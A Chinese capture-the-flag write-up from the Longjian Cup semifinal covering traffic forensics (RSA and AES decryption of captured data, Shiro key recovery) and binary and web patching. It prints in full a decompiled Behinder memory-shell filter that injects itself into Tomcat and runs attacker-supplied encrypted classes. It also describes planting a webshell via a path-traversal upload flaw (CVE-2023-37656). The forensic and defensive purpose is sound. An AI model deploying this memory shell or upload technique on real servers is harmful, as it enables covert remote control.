陇剑杯被薄纱之旅

👴🏻🚪被打傻了,👴🏻感觉👴🏻是个five

半决赛

数据分析

soeasy-2

流量中发现一段加密脚本如下:

然后传了一段私钥:

一段密文:

解密脚本如下:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

from Crypto.Cipher import AES

def decrypt_message(message, private):
with open(private, 'rb') as f:
private_key = RSA.import_key(f.read())
cipher = PKCS1_OAEP.new(private_key)
flag = cipher.decrypt(message)
print(flag)

message = base64.b64decode('TtmVmEmRb1pTIGlnzeckFvPsrYdn/jf4hHMgzw0uazvGFdkbZGUKSbm+husz8QX/KqRttzUJZudzPHskqp+WuIKqpN5X1/xoiikAhJQXWUvuvY+dJaYXvHe5Ir7VdEaZJB0XjgteYXVLSYACZ88TMvGeZdnbHP0VIr5ltCBl97z5XO+SYABXG7BqME7zg+GKdyj/HsaCd7+9RR9ufJiPZ90qSiZ4f3tHH2Y7LNzPdi4wClTOFJILP7w7/+06sbvt2a4A69yaDcM5vS4W2Cw2VzJe+FTMOeKl2w86FzGBjuX0MYr8UEhS4ODXVr/DePAiRvYKpJ9OVYCWhlQhMLYWYg=='.encode('utf-8'))
decrypt_message(message, '/Users/lemon/Desktop/pwn/pwn-enclosure/3-compi/rhg/流量分析/private_key')

因为密文是二进制数据,所以可以先按YAML提取,然后在message字段进行base64 decode

easy_shiro1、3

最后上了三道shiro题,👴🏻🚪因为没有shiro密钥的解密工具忘题兴叹,👴🏻记得shiro-550的密钥是写死的,但是没有shiro文档,👴🏻🚪又不出网,所以以为这几个shiro没救了。

但是👴🏻灵机一动,👴🏻今年hw搞到了一套武器库,👴🏻翻了翻,发现有这么个玩意:

好活,内存马反编译和shiro解密都有,彳亍

看原始日志,发现这一段的cookie已经很不正常了,并且状态码还是200,拿去解下:

得到了shiro密钥,然后发现后面有个user参数,传了一堆奇怪的东西

猜测是内存🐴,拿去跑下

反编译出如下结果:

package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;

public final class BehinderFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535";
public String path = "/favicondemo.ico";

public BehinderFilter() {
}

public BehinderFilter(ClassLoader c) {
super(c);
}

public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}

public static String md5(String s) {
String ret = null;

try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}

return ret;
}

public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";

try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}

try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}

return true;
}

public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])((Object[])obj));
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;

try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}

}

public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;

String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;

Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var22) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}

Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));

for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}

String var25 = "Success";
String var26 = var25;
return var26;
} catch (Exception var23) {
var11 = var23.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}

return var11;
} else {
return "Filter already exists";
}
}

public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest)req).getSession();
Object lastRequest = req;
Object lastResponse = resp;
Method getResponse;
if (!(req instanceof RequestFacade)) {
getResponse = null;

try {
getResponse = ServletRequestWrapper.class.getMethod("getRequest");

for(lastRequest = getResponse.invoke(this.request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
}
} catch (Exception var11) {
}
}

try {
if (!(lastResponse instanceof ResponseFacade)) {
getResponse = ServletResponseWrapper.class.getMethod("getResponse");

for(lastResponse = getResponse.invoke(this.response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
}
}
} catch (Exception var10) {
}

Map obj = new HashMap();
obj.put("request", lastRequest);
obj.put("response", lastResponse);
obj.put("session", session);

try {
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var9) {
var9.printStackTrace();
}

}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}

public void init(FilterConfig filterConfig) throws ServletException {
}

public void destroy() {
}
}

大致就是base64解码,然后aes解码,密钥给了,然后没指定加密模式,就用ecb解

下条流量只有request body了,解密脚本如下:

import base64
from Crypto.Cipher import AES

cipher_text = "KCbAGC/zgT89mb2V4KzcXve4eFWfU1z3gLKDA8p6/bfBx8vemcqVszDSQgmQtxcNQSZJexIUOGNlAnOMC9stD32MhhwYdx+NLjRV2Ysxe7KXb8iAMmF+QgnJnnxaZVI+4pXsNh2GpJCB6RkVEogPLJCs3cIETUtmQxjI1uFv4eZw1m+33Qe4wCcx8bDzHMY4w06htbAOOCBA2X+fwjG1ZHf5u2poP7agAHdgbE14bIcDS+2tJMtQclJ2K/OPaSZ5gwa2KgXixBko0sD4+q5KQRMIrLkFovvt1plWsN9ZLoVOlTatnMYHdoO5nu4abNuJeGprOODpXyLHSUfj3/mCGXpvQCMr3zuDhmBVv/v5pQ9YsnqNO8oFD2J2CTGrGTqvbqfJK7zr+Z1NsGjCDK53oQvAF2kbxZhjOxrzcVdVIicLu0VpDomF16xthNIpxLTFRXizLmeX8GSzdiiw6GQssqwIjkiJqEePAbxnTKGWwLaAHuVUADx65OBR0a0mtsBDs72Hfju/tU26Sr/rgU1Dgl2VVneVKdPQtTNtSBgmOJNzZf+Z4JRJluU1jmwRqSCMFU3pbohwsgMIY75eKdUGQdU3bqV/BACH+qZ8upj1Tl3BdS4ptLcOjlvw4WB3o7YLWO0ndTIVUwTGQTTvvWYyeCy//98S/fbtjT8y+xsEnIVL6Klu/Mp5LJMKQjp5WuAnBvdo6Nhbs582syRxsDF3Gdysq58nMfjnTnQ8NLVIAqlhpFX8cUNhIN597Lne2pSFf4sE2NgGPGwWeG6JhyWW/rr2F4sn7ry7Wy562q01hBUE5Y4FZRRCxkbqReqBUq2+FK5y1IdzAsMKGVV9BOtI6cuhJ9D5oyqqOCjWvxa9atFaRPXzHrkDRbY3bOUfezn9cfhMwVfWgD9joow/sWPWI2F5gN02BvmH5g6LJ3mRvqJPKpHy/gt9cU5MrUPfcSz+0wmOgA6DMfbGRFqguA4g3VQpznE0WbbqnCRZTCun5N90Oj8c+hf3jspAcshygPn04q1Em35kfj3wwLnCdmpYkZ3YpGHQSNFODy1PYwchVoC3Vwpi1XvrHr+bYf+mDDva//8rurhyXxtkGXGFQk6a5LC0tM8RWGo5gwKJfCbmcaiGOOXX+hbVEyld581vpr6d9L9G5pRPOKqsPcAZJdqfmfJq4KvdVdabp2jXSFvQaXAyiYbfqYd9MCxjsAZ1dTN91QkBuenoK3ta/whDYaanzKFheKcXLNgz0mPZHJC+B3Y21hSSe2LkHrjPZAsxLqX+HsXQDKyB8poHqHED9gnP/MR4G0rpr2Fiy0fHhQVGODbKA451eK/C1bGFoskCYMYV0mDuNMm3q4pzgARzDpaSB1s+9euZyIaH3xaK0K34N2J5Gziu2rOnUGwvVqY+D7Hzp+i6t+3HQoHJaDs6hdf21SF5aUkF3RZsCPf9a78O8jXQDcay8muoE+/GB51dYImhbtrajuVL4E7SLr3Msky4gjS/yBCCJSY4GPsnN/ZQ34J9SYnx7DDfXc9mWl5Rgd6cDpp+tV7/7CFH2LS1aaCDG1seUntWbw1BlbuiYDRfyeTELfPtycz9ppbPOeFAH2jUb2NGqzUKTkdgE3JKj0Pq7IF7PsQhyTyhNBAmpFUEQwVbkn1UWE1ajwItSYRqnnNEVlgZTuHLjIP6m7fhKPjNd5/jJZl3J4CL/YipGPP/c5XbGOloxtj1H4+/sqjNOJkw+NGe4qn/PrIUC++l4qDt5FV4ypw3H1SPlBDK5Ujp/TW3i1IVzWDgp+eNw1qMpOK9SkG1unH3w22a3Auvqp4RYv8ZcQ08aDAUTXpu0tsTGfT10vD4jmmzGCMHg5ZsGcnLN5R6ks/bG8a4tZWlmnXJXlvXHAfsgql8yINbXnE4MvtR5NBdimr+rFczxHW7j54042BU5dW54woNQz+DjPLAGDbIWX5W71SCGySdzDTOn6/fSrhM47kOjLZclLuLmtomiAdmo1t4hOMjkoRF9c0QdxORfhqMtKVNbpSG6f4qkhGd2KRh0EjRTg8tT2MHIVaAFlc1IenRWyLjC/daEE9zXXLNVy3bpyByofh7p+FEcwJvjjn1TglO4u0/tDZUJOYvru2LMTmqy9F9Mf9ya3RKCXtYbJdbf25Hqds3KM824xfEzsj5bTdLx6UQ8BK80cUTLh+Srpq8UgHnXBzhLJ0dzawQxCzCaD9y+m4XGD7W9K4lpFgHrztStBTMm0VpRXtGroBCmjNGQS9VhTwcq64tNutXOPFrp7gS9AOWCbG8rdu2wtQDinNxnT51MEZ4gwWptoz6SyVCgpXkaaSqNyMAXnOzxxn1iw4WGn+w8a2dAURBBtrA2Nw4tt3U8QCD/x7hCVxv9scHO81xe2Qtbb+QHAY3mqP4fsy+TkOb/LHgN633u06pUpXg/TibBeuJtFKVaCayfqyM60+n3ivF7G4I1mp4I1oLttVhgjQpAVhddcEU0lyxTDfZWZrXHnrGTPAzf12Gr9IEcwBqCY/HdKnvoWwW9OXNUR46Lfdi7d2bctIxHBbEZrxTv3fIIDOicy3VvrxGPuEn9zNhpPSiZu9ZtzjSxVRcHP+4Z7S8nwyOKDfpcuq0/g6/OS2LJVf0BcqkCoSf4FQJSXVSmZHPScLbFYKjXiXkeAJCTC8s381LvrveWGixBYmwqLUlpfNKdj8/cNL6fiYKla73FjzOXTJOdiFPjmE44iS8auRyslgTcovsNwFCSorOxIJRGx9M52GHc+zVI1TmrbZXOdgY5UjbAHJn5gAkYw41FIWZKddU2Dwe51EUHzlSLQbhOh31lL98ne0PJzr92Wl47e7TnWwmTAB3tlIq4vgkqYeItlUlGuQ48891fQsph/scKZrw92CvFkDK0AkvM51IvQLX0c/iBHvYUV4+EDX0aAk9foEqM4mNxI7fH2pNa066h4W680R62OjQs0Inza8IwZDVfRdrkV9IAN+TSJkHSGw/7Av+2OsZ4TLmNc2V+gwet15//q6QIc4VI3cMqNmMIFxX2u1NMbi5nCy6RP/+7DeNdaD61fv+6esigiSy0QPEDDoDFOV9z5j1mrSXfP4mzWZCFEOBobYE3mP3TNTL5TzGGyrhJ1GAiU97au3om23hb25i449/liTflh10MrZUC0Tx6rpO/XmOhqztZNU1Z/cH2k9u8FTiZeVWllbboRCH1EhFae2/i/Cycsobb9yCrdXJrTMDQuD29D9aPJ20Mm54XtoLQl3je6L5skfu0hJIU0ahhqtEFbB1ekQecYcVLrQsJiX9Z0+IWNSnEGQvxWRr/l8AepQJUuS35jiDe0/yD/MpGQFmnYZZ9xB7+QDm7FG6fzlMdBer3KYTjbvim1mjmC9p+Cq3uoS4iQsPdxx4oCSE/WkZw/AbomgkZvRhvjCtWb4XYIz2oSvpnIsen6x3n9Jdv/bS5SNUS3/7vmKOkhqPu+oSD/wL95pW48rtnFxVoBi0P+6RUYhhruzhCa1WSdoh28xnnU8kMSy1aeWdB2gkqOxXlm2bAzJLPEH7CscyMoyARnRVFwNldpP01dsKocoTDcvpNsfY9nT+rlgmvKmHe5rk5v9EqnfH0k2z/LOd9XpeGMRE5W+IaPEc0BGc6JzXF58p2wE+y6NKNEAEAsh581EhVFeA0P8iBbv6/qwnZbfFHmGAynHzUeUWWT9aSIeD2qEmw0+4qWU8XliDUT2MOb+0MunDg469RlNcHPGxe3lVD6QNdNt4Qd3T64kFYRoN63AkX7Q3v3e28YOJJQ70jR3iZi5f1Q9YrPPL9D2WJxMzN7Vkgjk2+En99qRwMbrFICkIbd9FjJkySG80NMnFAJt4uhBGtxq4kdYGczEm8pFt9ula8sZ4UFBWbPadxC5YQVvbhAMdHK592IgX+Xwd+wtBluBHNG7eEn3n6SOhpXnseXYTu8CTCaeeiw13yuFIngRzFoIalBeMLemig3jssDOF3Ft6xpZG8Z9t7DrICXXQGJfavusmNneg9skgAJYoW54KCGyRKSPW6y52a6s07ZOqw5sDMvYUgVESqHMgKxSGHXnXMdktfG5hWfPkDiBQt8060lkRaHxer2Jl+3xn6Dd0T4kbRd797bOdRKbwC64BDisJCHFJ8rO59w46cPgsH/vdHIJulNdW1Bw95khAd3YMv+IWF/Zi73335H9t3+nzQoUJzt3APmWZO+RI3zcHmC8Nuob8osNZTlkKMeq3ckCYNn4KccM1lQb/IOD7TgP6vRUYwieEEFng4gBzCaA8Z7nHu3ual7BJ1HUqwX0u/5GFjMv8zaiJ1Y9ojexTbKZLv4QBvSLq3BQ4um+mu6faTNgG92jo2FuznzazJHGwMXcZClzKqyYXgKcXk2M4fHC8ulO8AwdIFEQRHEsZ1j5W478fPQVOBwvLuxP4gH1bR9Ih+J6yvJWJsdnap7Cl0T2GqFscCwdc4YdEYoLch3DAI6i/av/AjQVMzTXlFY0bwdVEBggpaBI1UAzNpXh/PEDHlHBOlkfzlCX3M4pjOHoYSZKI9OdOWuhPTtRTa2oMhHiXR5Ustwz69nCTZMxJKDcC70Rwuw4jCsDxZCB6eRu3JotBqt3w+eRcVnT2HasQ0hsikpk6RM8ETwmdoeQrSqyVjbiv5u/I30jtXyfdjihpYd7TED0+MrV6nxKihCzAiG6aeuvIRAZuUQqASeT3FI1BKL0lXjFn1OUxOYcLv1gZsZO0GNysceSSdVkKy6ih9PM/e55FjljMAsVfLH792xKX/RtWXwjZLAnqlbUHNzBwEmOWZmAFsqeoy39MQruPujUU700eqjAB/Pn66ZiRCIq3Dz6IpjDB+mIDYYvyMFqBcD/PO5xLFQgESqds6li02Z17hK7RkIvlHGgSq1AkloTeIA2ZM0BmT4Q5niNJQO6kJboDKrH7B4yhPLVNGQBLy0yakMk2lsJABaM5tgW081vzjQCKKqzkZjuUAqGRPjyJ3VLkxoWNYdhnJN60ApmqlLMY9hMNs3fYi/TrEySMOlp028+ODRoC0Ntpj4spwd2v95U+p6DubyybBrieYmq4Lw8xMX3jgDx6jT6s+TYdRXBJoX0nau3o9ogzvpKc60UDGYZw1cKgeHG0206/kfyrTxwJhZBOvolv6sGOvwFGsijN7SU/HIUCgzcG+nd0sZF9SAPEw7JfsyYVAm5t/ZGJoaCS+JaqgRMrmA5OcmisgFU5VJ1tr6erm5FpUq7G7X/frzNlM0sbmZNW+lWcvdzz3RKD6ANi/KFPe7fPOdQ+VeuOHEq5Gn6KvOAOgkRdaHDBhxtsCTYE2Qu69u5e8+yOBQkYGo7bGMcFke7y7h+Tj2txoeGjVxhOsQDUDIUHnKZf39behFEZvySGcl0JS2FMNzQqN9OMLyEMv+iWxZMseXpoLcbjl7E9fJQmvv9tf9cYwFnLpUo142ZrTUC9xv9cW1cZz5SEKm4+W0NQLQaMMSwhBvCbShYIHn2BAIx8yNodTnn5/zC8IDkbyWfAaVQ12eVP4bP7C308Fk5PwGmc9k2En+yru+7BS80tx/ae7dK+y/2bMb9lGklyinxig9ztHAoq6u4eUI3J03gVre50XPm4wjll5PW0TJ7Te1P8QllB40XUUJw8+q4PsTliHICMyn8KmeIUZq12QLl9UzqOJlUzLEqGPuAQqtXaOlc2bcwYoi5HzVU5oUL4BZcZVNjCXlcn48RpS8FFGpt9PTUxkW79enhXNmwn6nibODHag/WbGDyy2iquaEWl7wN/rZZBkACyHgq1pZugagRdI2JJVX4wGA//3PQapivgkLUeoRgxBPnxfHDNPKobFKB4UtDUHE9rVSmwi3lpoYwbtrzdI8PJAN1cvs1nq6j9i0rgVAk28/Yf120E2zO8saOk5IH859MNs6V/+VUdPYBX7puooW5SYg45bLNrYrY3baxX/9eut1Y36Ye9pUY0dxxulecPvjveUWStFUbxcej71uTWfgxdH0/SZ5D0kvJCNczXc0LqvJ9qCcGzl2dCdGFMywsFANv8o4/tgtWGkV+KPbseTj3xrbX2QSRatk0XScil+w941DtaQl648HPAZI7TqcKTYz/eY37nIkjastc280H05hpsporqchcEopHMh0eGGJo0rmz/gD0QrbA1yCVN/7dG7n96jGANMCpYjIbwpR6xaYbJXsSjt0HLFA/HuVzHbrAQJGfLDMT3P1+EIyrTaitxpunGRDq0QIGi32251T9k1HwWkv30u159Ckodej8I705wCkfc4nRCF6iVCOHZfDfoDh+nF31sFOeMaRD1UmVUm0u2gsvoCXDVwCrz9SSGrV4MowRIM2tCsZB7/VzvidPNkgYvCX+X1n23T8WMur/3YNJbBa2x1R1O6RwN2Cx/rc249bKJq4gCur7XAb5/Fwxmk6H1eFbUeuYswfK4vAbp35ebogntw9JFHTj58ZDE44HHHVrNTNwk/8ousIDFwagI8oQusLzKK2ahPfmPTyMsu6K/ItERFPiiWQKBSWdtOcWY7uQfnOwTRt83ss6lYmST+uEChm1HResRiFtwDvTFfZmyUIW5CrPueCNtYt2xyM1c/uSIJ25DoKjzwMAjKA28SRfwLLhuPH2ILpWYqkTLyVm0I+JLtNB8lcstV2zwG1z7uME0BLPHI6ndyDHf0Copo1DK9rQfhw9tUMmYEmkOyJICDvyoBwFWhZ6gOfRMyFWaUxKrSPBLhyDNqZFx6B2z6+F8j3ZGonwUbcw5/DMgaLLSucM3S2ly4xPr6jxxNN1B7ONBLTcvTdWMhusR+JxuFKeTGP02F1F8u1twaeQMcGa5oH/mC1XZZ43ifHMUNmk4Rz5l6lZ7Cl6mP5CjwepItr10/pkJ0qoEXwzBWR2TQQb00d8Abfkn6xz2hoJLAMSe0VwoalayHFOe8X7me0OLEGBxtPkBkMyH8g2XHkGE5vfTcfMDvidFm1IGsE2jBbApaGfnvEOVeGYP1QnWYsUYbAOesjSIkqJAgasnZQdAH3bR1PgyQO8PGmVfE0RBadCfL5Qc8Q/q4lUkgd9grCnHfZziq7BoOOvoY4QSzvnU1ZWV9roAf+znE6g9GLwEpXjjDmqyQ5FPqRrkR26VNi67QOkOXGmn9GsKatulXztdmsPR8RT0ERiG9CO7RpqLmBIiDGWiwFk9T9+X5wB+lb/xfA8LB3MxqwqvnTxc+8TRF4z+kpWBxX1TX1NlfzoF/hMKrkYhddMM3keJBYiGmMDZqP3yKQOpeS2cFMcyRbGa7beL8VKNJfGw4f8iuyrr4SMXWO6sPwtYeNDoQLIjzWOGx1VQOPKPKaMVxPQbGhGwB8aFULTwhccmh4sBimhghZUSDaw9j8uvgifecKrex2O8PduxuW63Fk6c4NvTIlvNSgZDc6nvVDI5c8O3VhTZ3qF4gy2HGk+9ZKdELNfxhYaK0s0ARbpQ0PZFfWLoZFUdMUtPr5cFKjtJpOvJ1Cv5V9S4CE0fa9/qH2pMWvNG8bS/OH8+TBkI+j+7Pu3R9jhZITSV9Wms2SIFAwq7VtuPvbd7VSHCMIfRsycbjw+J0hihPb7c55i8YMFCBf9jkbCYJyeKib+R+rd3MCifvIpB9Vpl5sXl0rUG1kFxYq/QH6bqbF75zFUXUko/VEQXs00cQe9B7YeimWqCzwCBA/BAD6xmh+l8ePYjhrSOf+1KyYDcKC2gHXU+myY+P16Er7LdxR1oEnx85Ed/RLEAjeS8ljKHYpFIHB3iodLXpjkld0AAgCetZY0mdurCPCGBYQbq2LJBTriBh0aFS0pfdLUKE8gvXZRZ8uokQgVc10gkQaWiWgQJum5y8HaUP/9nr7ST6fFE+kFYzxqlvUDiQhyWMJIKnoUD5+ZDedULdQZxboFmtsNHR7fJJZlRpTdZX9+l+xBD7SUEg9sbjdxn3xGb5hRqJtJhMtrJ3uo8szYVgZUeDaThGoNj1hB/2M/K6KKXe9pxRuv15bGQjZkW6YcCJxKbNLBxVccsuWcbWyB1WNWVwowDpDY+IMTfgHoUaTavE04TEiqHg6gZFscePO+Y+P88cXyhm08l94jq3Wypejq8YQOM7p3d3fYg7fTklYmxoOG7TpbPVUeBM1QQXPA+6Zmso6dVkswcSdlNggbvp1/GzfF6/DJt+YNIm5WV+65wSeayr3ayOODdt0bGhABDBfu2s0yXrJfkJXi9ERQU8Naiago3oMU1SeQxb+IY2MKh21nbm+/OrSIdGYMgz/8OWaW+RlP8s1QdywNG0N8UhhsgzpGijuFCtCG83oXTTzok9B/9KuAHpQlAhKfTIeiAT3Lf+KzTGb7dWolP3oXruL7ZUiqhe7pM95g9O19kxXzOXMk/8wV/VvTRVExhybs5McqdTeRwMRBiI067i9mburZ1ZCBRH9HGLh3yg/Dfl2L3vb60RQmCo4xvzAk8ytUb+vts3H962cxp2XaM5oKm9rN3eVTgd+kwdVu6perc8884QfKxXaPlazQGZZkpZSLl/U2UOs87Qds0EDac2KLHbPAtE/YXr+LXsbjisJVqk/5khiKmaFTqLfrahVkDq88YE+D0vKyyFJaxxgkFPCU6vvbb81jYj917Jr56XgtZ2dmHRelXi+CWJ/y89TEcES4H03pwX3Efja9dmy+rX9hUEen2jqrg1d2JAJHJ6gGPg7vujYfJcG/OS6TEp074wuLpwqWdc59EpgpHeGWX5DXgCFZPep0XYMWe065vHWyT+va0S84pPu6OyBR5Pkc6P3MxCRiNLMAazXprCImozeWHTaj2Sp+tUxlyL+pECSGuB3G/uAUolyrSajj3JSaPc9cSxhBhTUcfNTEcm9DLzYBK/gtp2h3G8VvlsCcDipCAWoyCyKPXuQM2bkl2R6f9XwFDdrFbXYdKhki6AoIS9bzhDX795HNVxHhF6f9NOAo0qu2chFeBVniJ8IFJMZ21NKBxKpbWP+et/+UsmGLGF+YvDwDJGrlGX7HquP30kKK3bBukAyrDB1ZWMx2pF1w6DvdFwxdc2BiY9BslSSmRcbQ56CoEBsLtFKP3SHsXhRgX90LAO6OneHJSKLV7ViJHlTTE/79iMAxQbmKTPc+CCzvUK6hogGExPJrNIJeO5Z9XSw4NC3G8Od4ivrXXryz83dpVI+LyabyrO3QOXuAemCXJolr9U3psjj8rWq0G7qABhddA+woOkZPcBQmBmV4NRRX4B/9c33CAcO4FRA/8DsWNJ/eFjfk2/41Od52c1BCoM6gsDo6h0gzqRyeQK7l2nnoXdnxWbb7nvgl6lDxUsWqhpz4yW99x"
cipher_text = base64.b64decode(cipher_text)
key = b'eac9fa38330a7535'

aes = AES.new(key, 1)
shell = aes.decrypt(cipher_text)
with open('test.ser', 'wb') as f:
f.write(shell)

然后解出来序列化文件test.ser如下内容:

实景防御

ida对本次所有binary程序的分析和支持都是一坨💩,但是ghidra的patch功能也是一坨💩,所以patch功能基本采取ghidra分析+ida字符串定向+ida patch的模式来修复。

MINIGAME、SafeNote、staticFix

通防一把🔐了,seccomp直接把execve给🐑了就彳亍

ImageHost

一个图片上传服务,后端是cgi,漏洞点位于check文件扩展名的位置处:

其中检测file type的逻辑如下:

undefined8 FUN_001013c9(char *param_1)

{
char *pcVar1;
undefined8 uVar2;

pcVar1 = strchr(param_1,L'.');
if ((pcVar1 == (char *)0x0) ||
(((((*pcVar1 != '.' || (pcVar1[1] != 'j')) || (pcVar1[2] != 'p')) || (pcVar1[3] != 'g')) &&
(((*pcVar1 != '.' || (pcVar1[1] != 'p')) || ((pcVar1[2] != 'n' || (pcVar1[3] != 'g')))))))) {
uVar2 = 0;
}
else {
uVar2 = 1;
}
return uVar2;
}

可以发现提取后缀名使用的是strchr函数,从左到右匹配第一个点号,此时如果用test.png.txt便可以绕过这个文件检测的逻辑

检测通过后,cgi程序会将生成的临时文件路径返回到前端,前端来读取文件内容

patch思路就是把strchr改为strrchr,希望程序能够从右向左来匹配点号,获取到最后一个后缀,虽然开了pie,但是只要查符号表的相对偏移便能获取到strrchr的got地址

guide

是个1day,比赛的时候👴🏻🚪找出来漏洞了,但是没patch成功,因为项目代码量太大,所以赛后复现一波。

CVE-2023-37656:https://nvd.nist.gov/vuln/detail/CVE-2023-37656

整体站点是个web网址管理的东西,但是分析了一波他的django的路由之后,发现Icon处理的逻辑有问题:

在post接口中实现了文件上传,但是没有对路径和文件做任何校验,代码路径为websiteapp/views.py

路由调用链为:

前端触发:websitefronted/src/components/Admin/Website/index.vue -> websitefronted/src/components/Admin/Website/module/editIcon.vue

路由:/api/icon/

首先可以任意路径上传文件:

可以穿越icon路径实现目录穿越:

还有没有检查文件内容,可以传一个views.py,实现对IconViewSet类的get方法覆盖,并植入webshell:

from django.shortcuts import render

# Create your views here.
from WebsiteGuide.basic import CustomResponse, CustomPagination
from websiteapp import models
from websiteapp.serializers.websites_serializer import \
AllWebsiteDataSerializers, UpdateWebsiteDataSerializers, GetWebsiteDataSerializers
from websiteapp.serializers.group_serializer import WebsiteGroupSerializers
from websiteapp.serializers.user_serializer import UserInfoSerializer
from rest_framework import status
from rest_framework.views import APIView
from rest_framework.viewsets import ModelViewSet, ReadOnlyModelViewSet
from rest_framework.filters import SearchFilter
from rest_framework.decorators import action
from django.contrib.auth import authenticate
from rest_framework.permissions import IsAuthenticated
from rest_framework_jwt.settings import api_settings
from rest_framework_jwt.authentication import JSONWebTokenAuthentication

import os
from django.conf import settings
from django.http import HttpResponse, JsonResponse
from django.views import View

jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER
jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER


class UserAuthView(APIView):
'''
用户认证获取token
'''

def post(self, request, *args, **kwargs):
username = request.data.get('username')
password = request.data.get('password')
user = authenticate(username=username, password=password)
if user:
payload = jwt_payload_handler(user)
payload['is_superuser'] = user.is_superuser
return CustomResponse({'token': jwt_encode_handler(payload)}, status=status.HTTP_200_OK)
else:
return CustomResponse('用户名或密码错误!', status=status.HTTP_400_BAD_REQUEST)


class AllWebsiteDataViewSet(ReadOnlyModelViewSet):
'''
首页分组嵌套网址数据:查询 /api/alldata/
'''

